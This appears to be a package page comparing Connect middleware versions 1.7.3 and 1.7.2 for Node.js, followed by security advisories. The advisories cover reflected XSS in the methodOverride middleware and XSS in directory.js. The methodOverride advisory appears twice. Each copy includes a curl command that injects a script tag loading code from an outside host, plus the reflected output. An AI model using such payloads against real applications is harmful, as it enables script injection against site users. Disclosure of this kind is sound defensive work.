Connect is a high-performance middleware framework for Node.js, designed to streamline the development of web applications. Comparing versions 1.7.3 and 1.7.2, reveals subtle, yet important nuances for developers. Both versions share a common foundation, boasting identical dependencies on "qs" (>= 0.3.1) and "mime" (>= 0.0.1), ensuring consistent query string parsing and MIME type handling. The development dependencies also remain the same, including tools like "expresso" for testing, "koala" for asset compilation, and preprocessors like "less" and "sass," indicating a stable development environment across these releases. The core features and middleware capabilities promoted by Connect are preserved.
The key differentiator between these versions lies in their release dates and potentially any bug fixes or performance improvements incorporated in version 1.7.3. Version 1.7.3 was released on November 11, 2011, while version 1.7.2 was released earlier on October 24, 2011. Developers considering an upgrade to Connect should always consult the changelog or release notes if available, for details regarding the specific changes. Even though the updates may be minor those updates may include security patches that may be very important for your application. For new projects the newest version is generally recommended.
All the vulnerabilities related to the version 1.7.3 of the package
methodOverride Middleware Reflected Cross-Site Scripting in connect
Connect is a stack of middleware that is executed in order in each request.
The "methodOverride" middleware allows the http post to override the method of the request with the value of the "_method" post key or with the header "x-http-method-override".
Because the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the "Cannot [method]
[url]
" content. The method was not properly encoded for output in the browser.
###Example:
~ curl "localhost:3000" -d "_method=<script src=http://nodesecurity.io/xss.js></script>"
Cannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /
Update to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.
Node Connect Reflected Cross-Site Scripting in Sencha Labs Connect middleware
node-connect before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)
Connect is a stack of middleware that is executed in order in each request.
The "methodOverride" middleware allows the http post to override the method of the request with the value of the "_method" post key or with the header "x-http-method-override".
Because the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the "Cannot [method]
[url]
" content. The method was not properly encoded for output in the browser.
~ curl "localhost:3000" -d "_method=<script src=http://nodesecurity.io/xss.js></script>"
Cannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /
Update to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.
Sergio Arcos
Cross-Site Scripting in connect
connect node module before 2.14.0 suffers from a Cross-Site Scripting (XSS) vulnerability due to a lack of validation of file in directory.js middleware.